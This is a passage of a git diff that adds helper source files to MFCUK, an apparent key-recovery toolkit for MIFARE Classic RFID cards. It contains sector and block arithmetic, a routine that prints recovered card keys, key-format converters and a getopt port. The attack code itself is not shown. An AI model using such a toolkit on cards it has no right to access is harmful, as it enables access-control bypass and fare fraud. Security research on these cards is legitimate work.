MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1); + } + else + { + // For Mifare Classic 4K big sectors it will enter always here + uint32_t tmp = uiSector - MIFARE_CLASSIC_4K_MAX_SECTORS1; + return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2); + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +uint32_t get_trailer_block_for_sector(byte_t bTagType, uint32_t uiSector) +{ + if ( !is_valid_sector(bTagType, uiSector) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + if (uiSector < MIFARE_CLASSIC_4K_MAX_SECTORS1) + { + // For Mifare Classic 1K, it will enter always here + return (uiSector * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1-1); + } + else + { + // For Mifare Classic 4K big sectors it will enter always here + uint32_t tmp = uiSector - MIFARE_CLASSIC_4K_MAX_SECTORS1; + return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2-1); + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +uint32_t get_sector_for_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // For Mifare Classic 1K, it will enter always here + return (uiBlock/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1); + } + else + { + uint32_t tmp = uiBlock - MIFARE_CLASSIC_4K_MAX_BLOCKS1; + return MIFARE_CLASSIC_4K_MAX_SECTORS1 + (tmp/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2); + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +bool is_first_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_first_big_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_first_small_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_last_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_last_big_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_last_small_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +// Test case function for checking correct functionality of the block/sector is_ ang get_ functions +void test_mifare_classic_blocks_sectors_functions(byte_t bTagType) +{ + uint32_t i; + uint32_t max_blocks, max_sectors; + + if ( IS_MIFARE_CLASSIC_1K(bTagType) ) + { + printf("\nMIFARE CLASSIC 1K\n"); + max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS; + max_sectors = MIFARE_CLASSIC_1K_MAX_SECTORS; + } + else if ( IS_MIFARE_CLASSIC_4K(bTagType) ) + { + printf("\nMIFARE CLASSIC 4K\n"); + max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS; + max_sectors = MIFARE_CLASSIC_4K_MAX_SECTORS; + } + else + { + return; + } + + // Include one invalid block, that is why we add +1 + for (i = 0; iamb->mbm.btUnknown; + + if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) + { + return; + } + + printf("%s - UID %02x %02x %02x %02x - TYPE 0x%02x (%s)\n", + title, tag->amb->mbm.abtUID[0], tag->amb->mbm.abtUID[1], tag->amb->mbm.abtUID[2], tag->amb->mbm.abtUID[3], bTagType, + (IS_MIFARE_CLASSIC_1K(bTagType)?(MIFARE_CLASSIC_1K_NAME):(IS_MIFARE_CLASSIC_4K(bTagType)?(MIFARE_CLASSIC_4K_NAME):(MIFARE_CLASSIC_UNKN_NAME))) + ); + printf("-------------------------------------------------------\n"); + printf("Sector\t| Key A\t| AC bits\t| Key B\n"); + printf("-------------------------------------------------------\n"); + + if ( IS_MIFARE_CLASSIC_1K(tag->amb->mbm.btUnknown) ) + { + max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS; + } + else + { + max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS; + } + + for (i=0; iabtKeyA[0], ptr_trailer->abtKeyA[1], ptr_trailer->abtKeyA[2], + ptr_trailer->abtKeyA[3], ptr_trailer->abtKeyA[4], ptr_trailer->abtKeyA[5], + ptr_trailer->abtAccessBits[0], ptr_trailer->abtAccessBits[1], ptr_trailer->abtAccessBits[2], ptr_trailer->abtAccessBits[3], + ptr_trailer->abtKeyB[0], ptr_trailer->abtKeyB[1], ptr_trailer->abtKeyB[2], + ptr_trailer->abtKeyB[3], ptr_trailer->abtKeyB[4], ptr_trailer->abtKeyB[5] + ); + + // Go beyond current trailer block, i.e. go to next sector + i = trailer_block; + } + + printf("\n"); + + return; +} + +bool mfcuk_key_uint64_to_arr(const uint64_t *ui64Key, byte_t *arr6Key) +{ + int i; + + if ( !ui64Key || !arr6Key ) + { + return false; + } + + for (i = 0; i> 8*(MIFARE_CLASSIC_KEY_BYTELENGTH - i - 1)) & 0xFF); + } + + return true; +} + +bool mfcuk_key_arr_to_uint64(const byte_t *arr6Key, uint64_t *ui64Key) +{ + uint64_t key = 0; + int i; + + if ( !ui64Key || !arr6Key ) + { + return false; + } + + for (i = 0; i>= 8; + + *ui64Key = key; + + return true; +} diff --git a/src/mfcuk_mifare.h b/src/mfcuk_mifare.h new file mode 100644 index 0000000..c4fab24 --- /dev/null +++ b/src/mfcuk_mifare.h @@ -0,0 +1,140 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_mifare.h + + Description: + MFCUK defines and function prototypes header file extending + mainly libnfc's "mifare.h" interface/functionality. + + Contact, bug-reports: + http://andreicostin.com/ + mailto:zveriu@gmail.com + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file mfcuk_mifare.h + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and functions from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef _MFCUK_MIFARE_H_ +#define _MFCUK_MIFARE_H_ + +#include +#include + +#include +#include + +#define MIFARE_CLASSIC_UID_BYTELENGTH 4 // Length of a Mifare Classic UID in bytes +#define MIFARE_CLASSIC_KEY_BYTELENGTH 6 // Length of a Mifare Classic key in bytes +#define MIFARE_CLASSIC_1K_NAME "MC1K" +#define MIFARE_CLASSIC_4K_NAME "MC4K" +#define MIFARE_CLASSIC_UNKN_NAME "UNKN" +#define MIFARE_CLASSIC_1K 0x08 // MF1ICS50 Functional Specifications - 0x08 +#define MIFARE_CLASSIC_4K 0x18 // MF1ICS70 Functional Specifications - 0x18 +#define MIFARE_DESFIRE 0x20 // XXXXXXXX Functional Specifications - 0x20 +#define MIFARE_CLASSIC_1K_RATB 0x88 // Infineon Licensed Mifare - 0x88 (thanks JPS) + +#define IS_MIFARE_CLASSIC_1K(ats_sak) ( ((ats_sak) == MIFARE_CLASSIC_1K) || ((ats_sak) == MIFARE_CLASSIC_1K_RATB) ) +#define IS_MIFARE_CLASSIC_4K(ats_sak) ( ((ats_sak) == MIFARE_CLASSIC_4K) ) +#define IS_MIFARE_DESFIRE(ats_sak) ( ((ats_sak) == MIFARE_DESFIRE) ) + +#define MIFARE_CLASSIC_BYTES_PER_BLOCK 16 // Common for Mifare Classic 1K and Mifare Classic 4K +#define MIFARE_CLASSIC_INVALID_BLOCK 0xFFFFFFFF + +#define MIFARE_CLASSIC_1K_MAX_SECTORS 16 +#define MIFARE_CLASSIC_1K_BLOCKS_PER_SECTOR 4 +#define MIFARE_CLASSIC_1K_MAX_BLOCKS ( (MIFARE_CLASSIC_1K_MAX_SECTORS) * (MIFARE_CLASSIC_1K_BLOCKS_PER_SECTOR) ) + +#define MIFARE_CLASSIC_4K_MAX_SECTORS1 32 +#define MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1 MIFARE_CLASSIC_1K_BLOCKS_PER_SECTOR // Possibly NXP made it for Mifare 1K backward compatibility +#define MIFARE_CLASSIC_4K_MAX_BLOCKS1 ( (MIFARE_CLASSIC_4K_MAX_SECTORS1) * (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) ) + +#define MIFARE_CLASSIC_4K_MAX_SECTORS2 8 +#define MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2 16 +#define MIFARE_CLASSIC_4K_MAX_BLOCKS2 ( (MIFARE_CLASSIC_4K_MAX_SECTORS2) * (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) ) + +#define MIFARE_CLASSIC_4K_MAX_SECTORS ( (MIFARE_CLASSIC_4K_MAX_SECTORS1) + (MIFARE_CLASSIC_4K_MAX_SECTORS2) ) +#define MIFARE_CLASSIC_4K_MAX_BLOCKS ( (MIFARE_CLASSIC_4K_MAX_BLOCKS1) + (MIFARE_CLASSIC_4K_MAX_BLOCKS2) ) + +#define MFCUK_EXTENDED_DESCRIPTION_LENGTH 128 + +// Define an extended type of dump, basically a wrapper dump around basic tag dump +typedef struct { + uint32_t uid; // looks redundant, but it is easier to use dmp.uid instead of dmp.amb.mbm.abtUID[0]...[3] + byte_t type; // ATS/SAK from ti.tia.btSak, example 0x08h for Mifare 1K, 0x18h for Mifare 4K + char datetime[14]; // non-zero-terminated date-time of dump in format YYYYMMDDH24MISS, example 20091114231541 - 14 Nov 2009, 11:15:41 PM + char description[MFCUK_EXTENDED_DESCRIPTION_LENGTH]; // a description of the tag dump, example "RATB_DUMP_BEFORE_PAY" + mifare_tag tag_basic; +} mifare_tag_ext; + +// Define type of keys (A or B) in NXP notation +typedef enum { + keyA = 0x60, + keyB = 0x61, +} mifare_key_type; + +// Default keys used as a *BIG* mistake in many applications - especially System Integrators should pay attention! +extern byte_t mfcuk_default_keys[][MIFARE_CLASSIC_KEY_BYTELENGTH]; +extern int mfcuk_default_keys_num; + +bool is_valid_block(byte_t bTagType, uint32_t uiBlock); +bool is_valid_sector(byte_t bTagType, uint32_t uiSector); +bool is_first_block(byte_t bTagType, uint32_t uiBlock); +bool is_trailer_block(byte_t bTagType, uint32_t uiBlock); +uint32_t get_first_block(byte_t bTagType, uint32_t uiBlock); +uint32_t get_trailer_block(byte_t bTagType, uint32_t uiBlock); +bool is_big_sector(byte_t bTagType, uint32_t uiSector); +uint32_t get_first_block_for_sector(byte_t bTagType, uint32_t uiSector); +uint32_t get_trailer_block_for_sector(byte_t bTagType, uint32_t uiSector); +uint32_t get_sector_for_block(byte_t bTagType, uint32_t uiBlock); +bool is_first_sector(byte_t bTagType, uint32_t uiSector); +bool is_first_big_sector(byte_t bTagType, uint32_t uiSector); +bool is_first_small_sector(byte_t bTagType, uint32_t uiSector); +bool is_last_sector(byte_t bTagType, uint32_t uiSector); +bool is_last_big_sector(byte_t bTagType, uint32_t uiSector); +bool is_last_small_sector(byte_t bTagType, uint32_t uiSector); +void test_mifare_classic_blocks_sectors_functions(byte_t bTagType); +bool mfcuk_save_tag_dump(char *filename, mifare_tag *tag); +bool mfcuk_save_tag_dump_ext(char *filename, mifare_tag_ext *tag_ext); +bool mfcuk_load_tag_dump(char *filename, mifare_tag *tag); +bool mfcuk_load_tag_dump_ext(char *filename, mifare_tag_ext *tag_ext); +void print_mifare_tag_keys(const char *title, mifare_tag *tag); +bool mfcuk_key_uint64_to_arr(const uint64_t *ui64Key, byte_t *arr6Key); +bool mfcuk_key_arr_to_uint64(const byte_t *arr6Key, uint64_t *ui64Key); + +#endif // _MFCUK_MIFARE_H_ diff --git a/src/mfcuk_utils.c b/src/mfcuk_utils.c new file mode 100644 index 0000000..b205498 --- /dev/null +++ b/src/mfcuk_utils.c @@ -0,0 +1,81 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_utils.c + + Description: + MFCUK common utility functions implementation. + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file mfcuk_utils.c + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and prototypes from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "mfcuk_utils.h" + +#ifdef __STDC__ + struct timeval global_timeout; +#endif + +/* +http://www.velocityreviews.com/forums/t451319-advice-required-on-my-ascii-to-hex-conversion-c.html +Basically, converting a hex digit into a hex nibble (4 binary digits) algorithm looks like; + char xdigit; // hex digit to convert [0-9A-Fa-f] + xdigit = tolower(xdigit); // make it lowercase [0-9a-f] + xdigit -= '0'; // if it was a [0-9] digit, it's the value now + if(xdigit > 9) // if it was a [a-f] digit, compensate for that + xdigit = xdigit + '0' - 'a'; +The below code is just an optimization of the algorithm. Maxim Yegorushkin +*/ + +/*inline*/ +int is_hex(char c) +{ + return (c >= '0' && c <= '9') || ((c | 0x20) >= 'a' && (c | 0x20) <= 'f'); +} + +/*inline*/ +unsigned char hex2bin(unsigned char h, unsigned char l) +{ + h |= 0x20; // to lower + h -= 0x30; + h -= -(h > 9) & 0x27; + l |= 0x20; + l -= 0x30; + l -= -(l > 9) & 0x27; + return h << 4 | l; +} diff --git a/src/mfcuk_utils.h b/src/mfcuk_utils.h new file mode 100644 index 0000000..ccb2bf9 --- /dev/null +++ b/src/mfcuk_utils.h @@ -0,0 +1,104 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_utils.h + + Description: + MFCUK common utility functions prototypes. + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file mfcuk_utils.h/ + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and prototypes from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef _MFCUK_UTILS_H_ +#define _MFCUK_UTILS_H_ + +#include +#include +#include + +#ifdef WIN32 + #define NOMINMAX + #include "windows.h" + #include "xgetopt.h" +#elif __STDC__ + #include + #include + #include +#endif + +// "Portable" sleep(miliseconds) +#ifdef WIN32 + #define sleep(x) Sleep(x) +#elif __STDC__ + extern struct timeval global_timeout; + #define sleep(x) { global_timeout.tv_usec = 1000 * (x); select(0,NULL,NULL,NULL,&global_timeout); } +#endif + +// "Portable" clear_screen() - NOTE: system performance penalty introduced +#ifdef WIN32 + #define clear_screen() system("cls") +#elif __STDC__ + #define clear_screen() system("sh -c clear") +#endif + +/** + * @fn int is_hex(char c) + * @brief Checks if an ASCII character is a valid hexadecimal base digit + * @param c The ASCII character to be checked + * @return Returns true (non-zero) or false (zero) + * + * Checks if an ASCII character is a valid hexadecimal base digit. + * Used for hex2bin() functionality. + */ +int is_hex(char c); + +/** + * @fn unsigned char hex2bin(unsigned char h, unsigned char l) + * @brief Converts from two nibbles (4 bits) into the corresponding byte + * @param h The HIGH (left-most in human reading) nibble of two-char hex representation of a byte + * @param l The LOW (right-most in human reading) nibble of two-char hex representation of a byte + * @return Returns the byte which is formed from the two-char hex representation of it + * + * Converts from two nibbles (4 bits) into the corresponding byte. + * Uses the algorithm and implementation from here: + * http://www.velocityreviews.com/forums/t451319-advice-required-on-my-ascii-to-hex-conversion-c.html + */ +unsigned char hex2bin(unsigned char h, unsigned char l); + +#endif // _MFCUK_UTILS_H_ diff --git a/src/xgetopt.c b/src/xgetopt.c new file mode 100644 index 0000000..5ef7ef8 --- /dev/null +++ b/src/xgetopt.c @@ -0,0 +1,223 @@ +// XGetopt.cpp Version 1.2 +// +// Author: Hans Dietrich +// hdietrich2@hotmail.com +// +// Description: +// XGetopt.cpp implements getopt(), a function to parse command lines. +// +// History +// Version 1.2 - 2003 May 17 +// - Added Unicode support +// +// Version 1.1 - 2002 March 10 +// - Added example to XGetopt.cpp module header +// +// This software is released into the public domain. +// You are free to use it in any way you like. +// +// This software is provided "as is" with no expressed +// or implied warranty. I accept no liability for any +// damage or loss of business that this software may cause. +// +/////////////////////////////////////////////////////////////////////////////// + + +/////////////////////////////////////////////////////////////////////////////// +// if you are using precompiled headers then include this line: +//#include "stdafx.h" +/////////////////////////////////////////////////////////////////////////////// + + +/////////////////////////////////////////////////////////////////////////////// +// if you are not using precompiled headers then include these lines: +//#include +//#include +//#include +/////////////////////////////////////////////////////////////////////////////// + +#include +#include +#include "xgetopt.h" + + +/////////////////////////////////////////////////////////////////////////////// +// +// X G e t o p t . c p p +// +// +// NAME +// getopt -- parse command line options +// +// SYNOPSIS +// int getopt(int argc, char *argv[], char *optstring) +// +// extern char *optarg; +// extern int optind; +// +// DESCRIPTION +// The getopt() function parses the command line arguments. Its +// arguments argc and argv are the argument count and array as +// passed into the application on program invocation. In the case +// of Visual C++ programs, argc and argv are available via the +// variables __argc and __argv (double underscores), respectively. +// getopt returns the next option letter in argv that matches a +// letter in optstring. (Note: Unicode programs should use +// __targv instead of __argv. Also, all character and string +// literals should be enclosed in _T( ) ). +// +// optstring is a string of recognized option letters; if a letter +// is followed by a colon, the option is expected to have an argument +// that may or may not be separated from it by white space. optarg +// is set to point to the start of the option argument on return from +// getopt. +// +// Option letters may be combined, e.g., "-ab" is equivalent to +// "-a -b". Option letters are case sensitive. +// +// getopt places in the external variable optind the argv index +// of the next argument to be processed. optind is initialized +// to 0 before the first call to getopt. +// +// When all options have been processed (i.e., up to the first +// non-option argument), getopt returns EOF, optarg will point +// to the argument, and optind will be set to the argv index of +// the argument. If there are no non-option arguments, optarg +// will be set to NULL. +// +// The special option "--" may be used to delimit the end of the +// options; EOF will be returned, and "--" (and everything after it) +// will be skipped. +// +// RETURN VALUE +// For option letters contained in the string optstring, getopt +// will return the option letter. getopt returns a question mark (?) +// when it encounters an option letter not included in optstring. +// EOF is returned when processing is finished. +// +// BUGS +// 1) Long options are not supported. +// 2) The GNU double-colon extension is not supported. +// 3) The environment variable POSIXLY_CORRECT is not supported. +// 4) The + syntax is not supported. +// 5) The automatic permutation of arguments is not supported. +// 6) This implementation of getopt() returns EOF if an error is +// encountered, instead of -1 as the latest standard requires. +// +// EXAMPLE +// BOOL CMyApp::ProcessCommandLine(int argc, char *argv[]) +// { +// int c; +// +// while ((c = getopt(argc, argv, _T("aBn:"))) != EOF) +// { +// switch (c) +// { +// case _T('a'): +// TRACE(_T("option a\n")); +// // +// // set some flag here +// // +// break; +// +// case _T('B'): +// TRACE( _T("option B\n")); +// // +// // set some other flag here +// // +// break; +// +// case _T('n'): +// TRACE(_T("option n: value=%d\n"), atoi(optarg)); +// // +// // do something with value here +// // +// break; +// +// case _T('?'): +// TRACE(_T("ERROR: illegal option %s\n"), argv[optind-1]); +// return FALSE; +// break; +// +// default: +// TRACE(_T("WARNING: no handler for option %c\n"), c); +// return FALSE; +// break; +// } +// } +// // +// // check for non-option args here +// // +// return TRUE; +// } +// +/////////////////////////////////////////////////////////////////////////////// + +char *optarg; // global argument pointer +int optind = 0; // global argv index + +int getopt(int argc, char *argv[], char *optstring) +{ + char c = 0; + char *cp = NULL; + + static char *next = NULL; + if (optind == 0) + next = NULL; + + optarg = NULL; + + if (next == NULL || *next == '\0') + { + if (optind == 0) + optind++; + + if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0') + { + optarg = NULL; + if (optind < argc) + optarg = argv[optind]; + return EOF; + } + + if (strcmp(argv[optind], "--") == 0) + { + optind++; + optarg = NULL; + if (optind < argc) + optarg = argv[optind]; + return EOF; + } + + next = argv[optind]; + next++; // skip past - + optind++; + } + + c = *next++; + cp = strchr(optstring, c); + + if (cp == NULL || c == ':') + return '?'; + + cp++; + if (*cp == ':') + { + if (*next != '\0') + { + optarg = next; + next = NULL; + } + else if (optind < argc) + { + optarg = argv[optind]; + optind++; + } + else + { + return '?'; + } + } + + return c; +} diff --git a/src/xgetopt.h b/src/xgetopt.h new file mode 100644 index 0000000..adcbade --- /dev/null +++ b/src/xgetopt.h @@ -0,0 +1,23 @@ +// XGetopt.h Version 1.2 +// +// Author: Hans Dietrich +// hdietrich2@hotmail.com +// +// This software is released into the public domain. +// You are free to use it in any way you like. +// +// This software is provided "as is" with no expressed +// or implied warranty. I accept no liability for any +// damage or loss of business that this software may cause. +// +/////////////////////////////////////////////////////////////////////////////// + +#ifndef XGETOPT_H +#define XGETOPT_H + +extern int optind, opterr; +extern char *optarg; + +int getopt(int argc, char *argv[], char *optstring); + +#endif //XGETOPT_H